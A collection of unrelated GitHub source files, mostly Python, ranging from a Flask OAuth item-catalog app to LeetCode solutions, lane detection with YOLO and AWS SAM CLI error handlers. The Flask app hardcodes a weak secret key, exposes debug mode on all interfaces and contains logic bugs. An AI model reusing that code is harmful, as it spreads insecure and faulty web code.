Flask, render_template, request, redirect, url_for, flash, jsonify\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, Sport, Item, User\n# importing login tools\nfrom flask import session as login_session\nimport random, string\n\n# IMPORTS FOR THIS STEP\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import FlowExchangeError\nimport httplib2\nimport json\nfrom flask import make_response\nimport requests\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'super secret key'\n\nCLIENT_ID = json.loads(\n open('client_secrets.json', 'r').read())['web']['client_id']\nAPPLICATION_NAME = \"Item Catalog\"\n\nengine = create_engine('sqlite:///sports.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n# User Helper Functions\ndef createUser(login_session):\n newUser = User(name=login_session['username'], email=login_session['email'], picture=login_session['picture'])\n session.add(newUser)\n session.commit()\n user = session.query(User).filter_by(email=login_session['email']).one()\n return user.id\n\n#Get User Array\ndef getUserInfo(user_id):\n user = session.query(User).filter_by(id=user_id).one()\n return user\n# Authorize Sport Author\ndef getAuthor(id):\n author = session.query(Sport).filter_by(id=id).one()\n return author\n\ndef getItemAuthor(id):\n author = session.query(Item).filter_by(id=id).one()\n return author\n\ndef getUserID(email):\n try:\n user = session.query(User).filter_by(email=email).one()\n return user.id\n except:\n return None\n\n\n@app.route('/sports/')\ndef showSports():\n\t# Check if user is logged in\n if 'username' not in login_session:\n return redirect('/login')\n sports = session.query(Sport).all()\n return render_template(\n 'sports.html',\n sports=sports,)\n\n\n# New Sport\n@app.route('/sports/new', methods=['GET', 'POST'])\ndef newSport():\n if request.method == 'POST':\n newSport = Sport(name=request.form['name'], description=request.form[\n 'description'], user_id = login_session['user_id'])\n session.add(newSport)\n session.commit()\n return redirect(url_for('showSports'))\n else:\n return render_template('newsport.html')\n\n\n# Edit Sport\n@app.route('/sports/<int:sport_id>/edit',\n methods=['GET', 'POST'])\ndef editSport(sport_id):\n\t# Get author of item\n author = getAuthor(sport_id)\n\t# Check if logged in user is author of the sport\n if author.user_id != login_session['user_id']:\n return redirect('/login')\n editedSport = session.query(Sport).filter_by(id=sport_id).one()\n if request.method == 'POST':\n if request.form['name']:\n editedSport.name = request.form['name']\n editedSport.description = request.form['description']\n editedSport.id = Sport.id\n session.add(editedSport)\n session.commit()\n return redirect(url_for('showSports'))\n else:\n return render_template(\n 'editsport.html', sport_id=sport_id)\n\n\n# Delete Sport\n@app.route('/sports/<int:sport_id>/delete',\n methods=['GET', 'POST'])\ndef deleteSport(sport_id):\n\t# Get author of item\n author = getAuthor(sport_id)\n\t# Check if logged in user is author of the sport\n if author.user_id != login_session['user_id']:\n return redirect('/login')\n sportToDelete = session.query(Sport).filter_by(id=sport_id).one()\n if request.method == 'POST':\n session.delete(sportToDelete)\n session.commit()\n return redirect(url_for('showSports'))\n else:\n return render_template(\n 'deletesport.html', sport_id=sport_id)\n\n\n# Single Sport Page\n@app.route('/sports/<int:sport_id>/items')\ndef sportItems(sport_id):\n sport = session.query(Sport).filter_by(id=sport_id).one()\n items = session.query(Item).filter_by(sport_id=sport_id)\n return render_template(\n 'items.html', sport=sport, items=items, sport_id=sport_id)\n\n\n# New Item\n@app.route('/sports/<int:sport_id>/new', methods=['GET', 'POST'])\ndef newItem(sport_id):\n\t# Check if user is logged in\n if 'username' not in login_session:\n return redirect('/login')\n if request.method == 'POST':\n newItem = Item(name=request.form['name'], description=request.form[\n 'description'], sport_id=sport_id, user_id = login_session['user_id'])\n session.add(newItem)\n session.commit()\n return redirect(url_for('sportItems', sport_id=sport_id))\n else:\n return render_template('newitem.html', sport_id=sport_id)\n\n\n# Edit Item\n@app.route('/sports/<int:sport_id>/<int:item_id>/edit',\n methods=['GET', 'POST'])\ndef editItem(sport_id, item_id):\n\t# Get author of item\n author = getItemAuthor(item_id)\n\t# Check if logged in user is author of the sport\n if author.user_id != login_session['user_id']:\n return redirect('/login')\n editedItem = session.query(Item).filter_by(id=item_id).one()\n if request.method == 'POST':\n if request.form['name']:\n editedItem.name = request.form['name']\n editedItem.description = request.form['description']\n editedItem.id = Item.id\n session.add(editedItem)\n session.commit()\n return redirect(url_for('sportItems'))\n else:\n return render_template(\n 'edititem.html', sport_id=sport_id, item_id=item_id)\n\n\n# Delete Item\n@app.route('/sports/<int:sport_id>/<int:item_id>/delete',\n methods=['GET', 'POST'])\ndef deleteItem(sport_id, item_id):\n\t# Get author of item\n author = getItemAuthor(item_id)\n\t# Check if logged in user is author of the sport\n if author.user_id != login_session['user_id']:\n return redirect('/login')\n itemToDelete = session.query(Sport).filter_by(id=sport_id).one()\n if request.method == 'POST':\n session.delete(itemToDelete)\n session.commit()\n return redirect(url_for('sports'))\n else:\n return render_template(\n 'deleteitem.html', sport_id=sport_id, item_id=item_id)\n\n\n@app.route('/')\n@app.route('/login')\ndef showLogin():\n state = ''.join(random.choice(string.ascii_uppercase + string.digits)\n for x in xrange(32))\n login_session['state'] = state\n return render_template('/login.html', STATE=state)\n\n\n@app.route('/gconnect', methods=['POST'])\ndef gconnect():\n # Validate state token\n if request.args.get('state') != login_session['state']:\n response = make_response(json.dumps('Invalid state parameter.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n # Obtain authorization code\n code = request.data\n\n try:\n # Upgrade the authorization code into a credentials object\n oauth_flow = flow_from_clientsecrets('client_secrets.json', scope='')\n oauth_flow.redirect_uri = 'postmessage'\n credentials = oauth_flow.step2_exchange(code)\n except FlowExchangeError:\n response = make_response(\n json.dumps('Failed to upgrade the authorization code.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Check that the access token is valid.\n access_token = credentials.access_token\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s'\n % access_token)\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1])\n # If there was an error in the access token info, abort.\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is used for the intended user.\n gplus_id = credentials.id_token['sub']\n if result['user_id'] != gplus_id:\n response = make_response(\n json.dumps(\"Token's user ID doesn't match given user ID.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is valid for this app.\n if result['issued_to'] != CLIENT_ID:\n response = make_response(\n json.dumps(\"Token's client ID does not match app's.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n stored_access_token = login_session.get('access_token')\n stored_gplus_id = login_session.get('gplus_id')\n if stored_access_token is not None and gplus_id == stored_gplus_id:\n response = make_response(json.dumps('User is already connected.'),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Store the access token in the session for later use.\n login_session['access_token'] = credentials.access_token\n login_session['gplus_id'] = gplus_id\n\n # Get user info\n userinfo_url = \"https://www.googleapis.com/oauth2/v1/userinfo\"\n params = {'access_token': credentials.access_token, 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n\n data = answer.json()\n\n login_session['username'] = data['name']\n login_session['picture'] = data['picture']\n login_session['email'] = data['email']\n\n # See if user exists\n user_id = getUserID(data[\"email\"])\n if not user_id:\n user_id = createUser(login_session)\n login_session['user_id'] = user_id\n\n return \"Login Successful\"\n\n\n@app.route('/logout')\ndef logout():\n\n if login_session:\n gdisconnect()\n del login_session['gplus_id']\n del login_session['access_token']\n\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n del login_session['user_id']\n del login_session['provider']\n\n return redirect(url_for('login'))\n\n\n# JSON endpoint for all sports\n@app.route('/sports/JSON')\ndef sportsJSON(sport_id):\n sports = session.query(Sport).all()\n return jsonify(Items=[i.serialize for i in items])\n\n\n# JSON endpoint for a single sport\n@app.route('/sports/<int:sport_id>/sport/JSON')\ndef sportJSON(sport_id):\n sport = session.query(Sport).filter_by(id=sport_id).one()\n items = session.query(Item).filter_by(\n sport_id=sport_id).all()\n return jsonify(Items=[i.serialize for i in items])\n\n\n# JSON endpoint for a single item\n@app.route('/sports/<int:sport_id>/<int:item_id>/JSON')\ndef itemJSON(sport_id):\n sport = session.query(Sport).filter_by(id=sport_id).one()\n items = session.query(Item).filter_by(\n item_id=item_id).one()\n return jsonify(Items=[i.serialize for i in items])\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"justinmurray87/SQL-Item-Catalog","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":10804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31628623724","text":"from os import getpid\nfrom math import ceil\nfrom time import time as now\nfrom typing import Iterable\nfrom numpy.random import RandomState\n\nfrom lib_satprob.problem import Problem\nfrom lib_satprob.variables import Supplements, combine\n\nfrom ..model import WorkerArgs, WorkerResult, \\\n WorkerCallable, Payload, Results, Estimation\nfrom ..abc.function import Function, aggregate_results, format_statuses\n\nfrom ..module.budget import AutoBudget\nfrom ..module.measure import Measure\n\nfrom typings.searchable import Searchable\n\n\ndef gad_supplements(args: WorkerArgs, problem: Problem,\n searchable: Searchable) -> Iterable[Supplements]:\n sample_seed, sample_size, offset, length = args\n sample_state = RandomState(sample_seed)\n\n power, substitutions = searchable.power(), []\n if problem.output_set or sample_size >= power:\n for chunk_i in range(ceil(sample_size / power)):\n output_supplements = ([], []) if not problem.output_set \\\n else problem.process_output_supplements(sample_state)\n substitutions.extend([\n (supplements, output_supplements) for supplements\n in searchable.enumerate(0, power, sample_state)\n ])\n\n substitutions = substitutions[offset:offset + length]\n for supplements, output_supplements in substitutions:\n yield combine(supplements, output_supplements)\n else:\n dimension = searchable.dimension()\n arguments = (0, dimension, (offset + length, len(dimension)))\n for substitution in sample_state.randint(*arguments)[offset:]:\n yield searchable.substitute(using_values=substitution)\n\n\ndef gad_worker_fn(args: WorkerArgs, payload: Payload) -> WorkerResult:\n space, budget, measure, problem, bytemask = payload\n searchable, timestamp = space.unpack(bytemask), now()\n\n # limit = measure.get_limit(budget)\n times, times2, values, values2 = {}, {}, {}, {}\n formula, statuses = problem.encoding.get_formula(), {}\n for supplements in gad_supplements(args, problem, searchable):\n report = problem.solver.solve(formula, supplements)\n time, value, status = measure.check_and_get(report, budget)\n\n times[status.value] = times.get(status.value, 0.) + time\n values[status.value] = values.get(status.value, 0.) + value\n statuses[status.value] = statuses.get(status.value, 0) + 1\n\n times2[status.value] = times2.get(status.value, 0.) + time ** 2\n values2[status.value] = values2.get(status.value, 0.) + value ** 2\n return getpid(), now() - timestamp, times, times2, values, values2, statuses, args\n\n\nclass GuessAndDetermine(Function):\n slug = 'function:gad'\n\n def __init__(self, budget: AutoBudget, measure: Measure):\n super().__init__(budget, measure)\n self.best_estimation = {'value': float('inf')}\n\n def get_worker_fn(self) -> WorkerCallable:\n return gad_worker_fn\n\n def calculate(self, searchable: Searchable, results: Results) -> Estimation:\n times, values, statuses, stats = aggregate_results(results)\n time_sum, value_sum = sum(times.values()), sum(values.values())\n\n power = searchable.power()\n value = value_sum if stats.count else float('inf')\n if stats.count > 0 and stats.count != power:\n value = float(value_sum) / stats.count * power\n\n estimation = {\n # 'power': power,\n 'count': stats.count,\n 'value': round(value, 2),\n 'ptime': round(stats.ptime_sum, 4),\n 'time_sum': round(time_sum, 4),\n 'time_avg': round(stats.time_avg, 6),\n 'time_var': round(stats.time_var, 6),\n 'statuses': format_statuses(statuses),\n 'value_sum': round(value_sum, 4),\n 'value_avg': round(stats.value_avg, 6),\n 'value_var': round(stats.value_var, 6),\n }\n if self.best_estimation['value'] > value:\n self.best_estimation = estimation\n return estimation\n\n\n__all__ = [\n 'GuessAndDetermine',\n # utils\n 'gad_supplements',\n]\n","repo_name":"aimclub/evoguess-ai","sub_path":"function/impl/function_gad.py","file_name":"function_gad.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"69"} +{"seq_id":"25529575965","text":"import sys\r\n\r\nN = int(input())\r\n\r\nboard = [list(i for i in range(1, N+1))]\r\nfor _ in range(N-1):\r\n board.append([0 for _ in range(N)])\r\n\r\npath = []\r\nanswer = 0\r\n\r\ndef hanoi(L, start, via, end, count):\r\n global answer\r\n answer += 1\r\n if L == 1:\r\n path.append([start, end])\r\n return\r\n else:\r\n hanoi(L-1, start, end, via, count+1)\r\n path.append([start, end])\r\n hanoi(L-1, via, start, end, count+1)\r\n\r\n\r\nhanoi(N, 1, 2, 3, 0)\r\nprint(answer)\r\nfor v in path:\r\n print(*v)\r\n","repo_name":"ilgon0110/codingtest_js","sub_path":"백준/Gold/11729. 하노이 탑 이동 순서/하노이 탑 이동 순서.py","file_name":"하노이 탑 이동 순서.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11937931203","text":"import azure.durable_functions as df\r\n\r\n\r\ndef orchestrator_function(context: df.DurableOrchestrationContext):\r\n input = context.get_input()\r\n result = yield context.call_activity(\"azfn_task\", input[\"request_id\"])\r\n return result\r\n\r\n\r\nmain = df.Orchestrator.create(orchestrator_function)\r\n","repo_name":"jhumigas/azfn-python-http-trigger-v1","sub_path":"function_apps/azfn_orchestrator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11888031767","text":"#!/usr/bin/python3\n# 12-model_state_update_id_2.py\n\"\"\"import a model and fitch the states where it has letetr a\"\"\"\n\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == \"__main__\":\n\n engine = create_engine(\n 'mysql+mysqldb://{}:{}@localhost/{}'.format\n (argv[1],\n argv[2],\n argv[3]),\n pool_pre_ping=True)\n\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine)\n session = Session()\n\n state = session.query(State).filter(State.id == 2)\n\n for i in state:\n i.name = \"New Mexico\"\n\n session.add(i)\n session.commit()\n session.close()\n","repo_name":"ShehabNegm/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/12-model_state_update_id_2.py","file_name":"12-model_state_update_id_2.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40116757202","text":"from typing import List\n\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n idx = -1\n l = 0\n r = len(nums)-1\n if r < 0:\n return idx\n while l <= r:\n mid = (l+r)//2\n print(l,r,mid, nums[mid])\n if nums[mid] == target:\n idx = mid\n break\n if nums[0] <= nums[mid]:\n if nums[0] <= target <= nums[mid]:\n r = mid-1\n else:\n l = mid+1\n else:\n if nums[mid] <= target <= nums[len(nums)-1]:\n l = mid+1\n else:\n r = mid-1\n return idx\n\n\nif __name__ == \"__main__\":\n so = Solution()\n print(so.search([4,5,6,7,8,1,2,3], 8))","repo_name":"cbwood/algorithm","sub_path":"leetcode/leetcode-33.py","file_name":"leetcode-33.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39822487466","text":"# adapted for this blend-file on dec 10, 2021\n\n# read single log data in and set directly keyframes according to loc and time\n\n\nimport bpy\nimport re\nimport pickle\n\n#path = \"/home/j/UPBGEv0.2.5b-b2.79Linux64/Log_agents/Anna Xing_log.lp\"\npath = \"/home/j/DigForSim/Simulate/rw7/rWalker_3.log\"\n\nwith open(path,\"r\") as f:\n lines = f.read().splitlines()\n print(\"lines::\",lines)\n\nprint(40*\"=\")\n\n\ndef set_keyframes( agent, x, y, t ):\n \n ag = bpy.data.objects[agent]\n \n x = int(x)\n y = int(y)\n z = int(0)\n t = int(t)\n \n frame_number = 10*(t-1)\n bpy.context.scene.frame_set(frame_number) \n ag.location = ( x, y, z )\n ag.keyframe_insert(data_path='location', index=-1)\n \n\n\nfor l in lines:\n r = l.replace(\" \",\"\")\n \n if l.startswith('at('):\n # careful!!: -?\\d+ is necessary for negative/positive integers....\n m = re.search(r\"at\\((\\w+),loc\\((-?\\d+),(-?\\d+)\\),(\\d+)\", r ) # name, location X,Y, time \n print( m[1],'located at place (',m[2],',',m[3],') at time', m[4])\n \n set_keyframes( m[1], m[2], m[3], m[4] )\n","repo_name":"cfcarbonaro/DigForSim","sub_path":"Blender/Scripts/insert_keyframes.py","file_name":"insert_keyframes.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16810417037","text":"\"\"\"Class container to hold common Service Responses\"\"\"\n\nimport logging\n\nfrom flask import Response, jsonify, make_response\n\nLOG = logging.getLogger(__name__)\n\n\nclass ServiceErrorResponses:\n _NO_LAMBDA_INTEGRATION = {\"message\": \"No function defined for resource method\"}\n _MISSING_AUTHENTICATION = {\"message\": \"Missing Authentication Token\"}\n _LAMBDA_FAILURE = {\"message\": \"Internal server error\"}\n _MISSING_LAMBDA_AUTH_IDENTITY_SOURCES = {\"message\": \"Unauthorized\"}\n _LAMBDA_AUTHORIZER_NOT_AUTHORIZED = {\"message\": \"User is not authorized to access this resource\"}\n\n HTTP_STATUS_CODE_500 = 500\n HTTP_STATUS_CODE_501 = 501\n HTTP_STATUS_CODE_502 = 502\n HTTP_STATUS_CODE_403 = 403\n HTTP_STATUS_CODE_401 = 401\n\n @staticmethod\n def lambda_authorizer_unauthorized() -> Response:\n \"\"\"\n Constructs a Flask response for when a route invokes a Lambda Authorizer, but\n is the identity sources provided are not authorized for that method\n\n Returns\n -------\n Response\n A Flask Response object\n \"\"\"\n response_data = jsonify(ServiceErrorResponses._LAMBDA_AUTHORIZER_NOT_AUTHORIZED)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_403)\n\n @staticmethod\n def missing_lambda_auth_identity_sources() -> Response:\n \"\"\"\n Constructs a Flask response for when a route contains a Lambda Authorizer\n but is missing the required identity services\n\n Returns\n -------\n Response\n A Flask Response object\n \"\"\"\n response_data = jsonify(ServiceErrorResponses._MISSING_LAMBDA_AUTH_IDENTITY_SOURCES)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_401)\n\n @staticmethod\n def lambda_failure_response(*args):\n \"\"\"\n Helper function to create a Lambda Failure Response\n\n :return: A Flask Response\n \"\"\"\n LOG.debug(\"Lambda execution failed %s\", args)\n response_data = jsonify(ServiceErrorResponses._LAMBDA_FAILURE)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_502)\n\n @staticmethod\n def lambda_body_failure_response(*args):\n \"\"\"\n Helper function to create a Lambda Body Failure Response\n\n :return: A Flask Response\n \"\"\"\n response_data = jsonify(ServiceErrorResponses._LAMBDA_FAILURE)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_500)\n\n @staticmethod\n def not_implemented_locally(message):\n \"\"\"\n Constructs a Flask Response for for when a Lambda function functionality is\n not implemented\n\n :return: a Flask Response\n \"\"\"\n exception_dict = {\"message\": message}\n response_data = jsonify(exception_dict)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_501)\n\n @staticmethod\n def lambda_not_found_response(*args):\n \"\"\"\n Constructs a Flask Response for when a Lambda function is not found for an endpoint\n\n :return: a Flask Response\n \"\"\"\n response_data = jsonify(ServiceErrorResponses._NO_LAMBDA_INTEGRATION)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_502)\n\n @staticmethod\n def route_not_found(*args):\n \"\"\"\n Constructs a Flask Response for when a API Route (path+method) is not found. This is usually\n HTTP 404 but with API Gateway this is a HTTP 403 (https://forums.aws.amazon.com/thread.jspa?threadID=2166840)\n\n :return: a Flask Response\n \"\"\"\n response_data = jsonify(ServiceErrorResponses._MISSING_AUTHENTICATION)\n return make_response(response_data, ServiceErrorResponses.HTTP_STATUS_CODE_403)\n","repo_name":"aws/aws-sam-cli","sub_path":"samcli/local/apigw/service_error_responses.py","file_name":"service_error_responses.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","stars":6381,"dataset":"github-code","pt":"69"} +{"seq_id":"25481128943","text":"import cv2\r\nimport numpy as np\r\n\r\n\r\ncfg_path = \"E:\\\\project\\\\car_yolov3\\\\yolo_pretrained\\\\yolov3.cfg\"\r\nweights_path = \"E:\\\\project\\\\car_yolov3\\\\yolo_pretrained\\\\yolov3-spp.weights\"\r\n\r\n\r\nfourcc = cv2.VideoWriter_fourcc(*'mp4v')\r\nout = cv2.VideoWriter('E:\\master_thesis\\project\\vehicle_dataset\\model_test\\\\output.mp4', fourcc, 20.0, (640, 480))\r\n\r\n\r\ndef detection(image, cfg_path, weights_path):\r\n ht, wt, _ = image.shape\r\n net = cv2.dnn.readNetFromDarknet(cfg_path, weights_path)\r\n blob = cv2.dnn.blobFromImage(image, 1 / 255, (416, 416), (0, 0, 0), swapRB=True, crop=False)\r\n net.setInput(blob)\r\n last_layer = net.getUnconnectedOutLayersNames()\r\n layer_out = net.forward(last_layer)\r\n\r\n boxes = []\r\n confidences = []\r\n class_ids = []\r\n\r\n for output in layer_out:\r\n for detection in output:\r\n score = detection[5:]\r\n class_id = np.argmax(score)\r\n confidence = score[class_id]\r\n if confidence > .6:\r\n center_x = int(detection[0] * wt)\r\n center_y = int(detection[1] * ht)\r\n w = int(detection[2] * wt)\r\n h = int(detection[3] * ht)\r\n\r\n x = int(center_x - w / 2)\r\n y = int(center_y - h / 2)\r\n\r\n boxes.append([x, y, w, h])\r\n confidences.append((float(confidence)))\r\n class_ids.append(class_id)\r\n\r\n return boxes, confidences, class_ids\r\n\r\n\r\nclasses = []\r\nwith open(\"E:\\\\project\\\\car_yolov3\\\\yolo_pretrained\\\\coco.names\", 'r') as f:\r\n classes = [line.strip() for line in f.readlines()]\r\ncap = cv2.VideoCapture(\"E:\\\\project\\\\vehicle_dataset\\\\model_test\\\\3.webm\")\r\nwhile cap.isOpened():\r\n rate, frame = cap.read()\r\n img = frame\r\n l1 = cv2.imread(\"E:\\\\project\\\\vehicle_dataset\\\\model_test\\\\mask_vid1\\\\44_lane1.jpg\")\r\n l2 = cv2.imread(\"E:\\\\project\\\\vehicle_dataset\\\\model_test\\\\mask_vid1\\\\44_lane2.jpg\")\r\n l3 = cv2.imread(\"E:\\\\project\\\\vehicle_dataset\\\\model_test\\\\mask_vid1\\\\44_lane3.jpg\")\r\n l4 = cv2.imread(\"E:\\\\project\\\\vehicle_dataset\\\\model_test\\\\mask_vid1\\\\44_lane4.jpg\")\r\n scale_percent = 100 # percent of original size\r\n width = int(img.shape[1] * scale_percent / 100)\r\n height = int(img.shape[0] * scale_percent / 100)\r\n\r\n my_img = cv2.resize(img, (width, height), interpolation=cv2.INTER_AREA)\r\n\r\n ml1 = cv2.bitwise_and(my_img, cv2.resize(l1, (width, height), interpolation=cv2.INTER_AREA))\r\n ml2 = cv2.bitwise_and(my_img, cv2.resize(l2, (width, height), interpolation=cv2.INTER_AREA))\r\n ml3 = cv2.bitwise_and(my_img, cv2.resize(l3, (width, height), interpolation=cv2.INTER_AREA))\r\n ml4 = cv2.bitwise_and(my_img, cv2.resize(l4, (width, height), interpolation=cv2.INTER_AREA))\r\n\r\n boxes1, confidences1, class_ids1 = detection(ml1, cfg_path, weights_path)\r\n boxes2, confidences2, class_ids2 = detection(ml2, cfg_path, weights_path)\r\n boxes3, confidences3, class_ids3 = detection(ml3, cfg_path, weights_path)\r\n boxes4, confidences4, class_ids4 = detection(ml4, cfg_path, weights_path)\r\n\r\n indexes1 = cv2.dnn.NMSBoxes(boxes1, confidences1, .5, .4)\r\n indexes2 = cv2.dnn.NMSBoxes(boxes2, confidences2, .5, .4)\r\n indexes3 = cv2.dnn.NMSBoxes(boxes3, confidences3, .5, .4)\r\n indexes4 = cv2.dnn.NMSBoxes(boxes4, confidences4, .5, .4)\r\n\r\n font = cv2.FONT_HERSHEY_PLAIN\r\n colors1 = np.random.uniform(0, 255, size=(len(boxes1), 3))\r\n colors2 = np.random.uniform(0, 255, size=(len(boxes2), 3))\r\n colors3 = np.random.uniform(0, 255, size=(len(boxes3), 3))\r\n colors4 = np.random.uniform(0, 255, size=(len(boxes4), 3))\r\n\r\n if len(indexes1) > 0:\r\n for i in indexes1.flatten():\r\n x, y, w, h = boxes1[i]\r\n\r\n cx = int((x + x + w) / 2)\r\n cy = int((y + y + h) / 2)\r\n\r\n label = str(classes[class_ids1[i]])\r\n confidence = str(round(confidences1[i], 2))\r\n color = colors1[i]\r\n cv2.rectangle(my_img, (x, y), (x + w, y + h), color, 2)\r\n cv2.putText(my_img, \"lane1\", (x, y + 20), font, 3, (255, 255, 0), 1)\r\n if len(indexes2) > 0:\r\n for i in indexes2.flatten():\r\n x, y, w, h = boxes2[i]\r\n\r\n cx = int((x + x + w) / 2)\r\n cy = int((y + y + h) / 2)\r\n\r\n label = str(classes[class_ids2[i]])\r\n confidence = str(round(confidences2[i], 2))\r\n color = colors2[i]\r\n cv2.rectangle(my_img, (x, y), (x + w, y + h), color, 2)\r\n cv2.putText(my_img, \"lane2\", (x, y + 20), font, 3, (255, 255, 0), 1)\r\n if len(indexes3) > 0:\r\n for i in indexes3.flatten():\r\n x, y, w, h = boxes3[i]\r\n\r\n cx = int((x + x + w) / 2)\r\n cy = int((y + y + h) / 2)\r\n\r\n label = str(classes[class_ids3[i]])\r\n confidence = str(round(confidences3[i], 2))\r\n color = colors3[i]\r\n cv2.rectangle(my_img, (x, y), (x + w, y + h), color, 2)\r\n cv2.putText(my_img, \"lane3\", (x, y + 20), font, 3, (255, 255, 0), 1)\r\n if len(indexes4) > 0:\r\n for i in indexes4.flatten():\r\n x, y, w, h = boxes4[i]\r\n\r\n cx = int((x + x + w) / 2)\r\n cy = int((y + y + h) / 2)\r\n\r\n label = str(classes[class_ids4[i]])\r\n confidence = str(round(confidences4[i], 2))\r\n color = colors4[i]\r\n cv2.rectangle(my_img, (x, y), (x + w, y + h), color, 2)\r\n cv2.putText(my_img, \"lane4\", (x, y + 20), font, 3, (255, 255, 0), 1)\r\n\r\n cv2.namedWindow('image', cv2.WINDOW_NORMAL)\r\n\r\n cv2.resizeWindow('image', 1200, 600)\r\n cv2.imshow('image', my_img)\r\n\r\n if cv2.waitKey(1) == ord('q'):\r\n continue\r\n elif cv2.waitKey(1) == ord('a'):\r\n break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"shivam-gupta0/Vehicle-Lane-Detection","sub_path":"lane_detection_video.py","file_name":"lane_detection_video.py","file_ext":"py","file_size_in_byte":5773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"42141875282","text":"import re\nimport os\nfrom fnmatch import fnmatch\n\nroot = os.path.dirname(os.path.realpath(__file__))\npattern = \"*.txt\"\n\nfor path, subdirs, files in os.walk(root):\n for name in files:\n if fnmatch(name, pattern):\n with open(path + \"\\\\\" + name, \"r+\") as fp:\n textfile = fp.read()\n x = re.search(\"owner = [A-Z][A-Z][A-Z]\", textfile)\n if x is None:\n fp.write(\"\\nowner = CLN\\ncontroller= CLN\\n\")\n\n\n","repo_name":"ZombieFreak115/AlstadtModZombie","sub_path":"history/provinces/write_owner.py","file_name":"write_owner.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4346296589","text":"from typing import List\n\nclass Solution:\n def solve(self, nums: List[int]) -> int:\n n = len(nums)\n prev2 = nums[0]\n prev1 = max(nums[0], nums[1] if n > 1 else 0)\n\n for i in range(2, n):\n curr = max(prev1, prev2 + nums[i])\n prev2, prev1 = prev1, curr\n\n return prev1\n\n def rob(self, nums: List[int]) -> int:\n n = len(nums)\n if n == 1:\n return nums[0]\n if n == 2:\n return max(nums[0], nums[1])\n\n v1 = nums[1:]\n v2 = nums[:-1]\n\n ans = max(self.solve(v1), self.solve(v2))\n return ans\n","repo_name":"AIdevol/Leetcode_tasks","sub_path":"75 blind tasks leetcode/Dynamic Programming/python/5. House Robber II.py","file_name":"5. House Robber II.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9098079374","text":"\"\"\"\nSetup a python virtual environment with pip and install the dependencies from lib/\n\"\"\"\n\nimport venv\nfrom pathlib import Path\nimport subprocess\nimport os\n\nprint(\"Installing virtual environment...\")\nvenv.create(\"venv\", with_pip=True) # create venv in venv/ dir\n\n# find python bin path\nbin_dir = Path(Path(__file__).parent.absolute() / \"venv\")\nif Path(bin_dir / \"bin\").exists(): # *nix\n bin_dir = Path(bin_dir / \"bin\")\nelif Path(bin_dir / \"Scripts\").exists(): # windows\n bin_dir = Path(bin_dir / \"Scripts\")\nelse:\n print(\"Could not find venv/bin/ or venv/Scripts\")\n raise SystemExit\n\n# find python executable path\nif Path(bin_dir / \"python3\").exists():\n py_path = Path(bin_dir / \"python3\")\nelif Path(bin_dir / \"python\").exists():\n py_path = Path(bin_dir / \"python\")\nelif Path(bin_dir / \"python3.exe\").exists():\n py_path = Path(bin_dir / \"python3.exe\")\nelif Path(bin_dir / \"python.exe\").exists():\n py_path = Path(bin_dir / \"python.exe\")\nelse:\n print(\"Could not find python executable in %s\" % str(bin_dir))\n raise SystemExit\n\nlib_dir = Path(Path(__file__).parent.absolute() / \"lib\") # get path to lib/\nrequirements_path = Path(Path(__file__).parent.absolute() / \"requirements.txt\") # path to requirements file\n\n# install pip dependencies\nprint(\"Installing pip 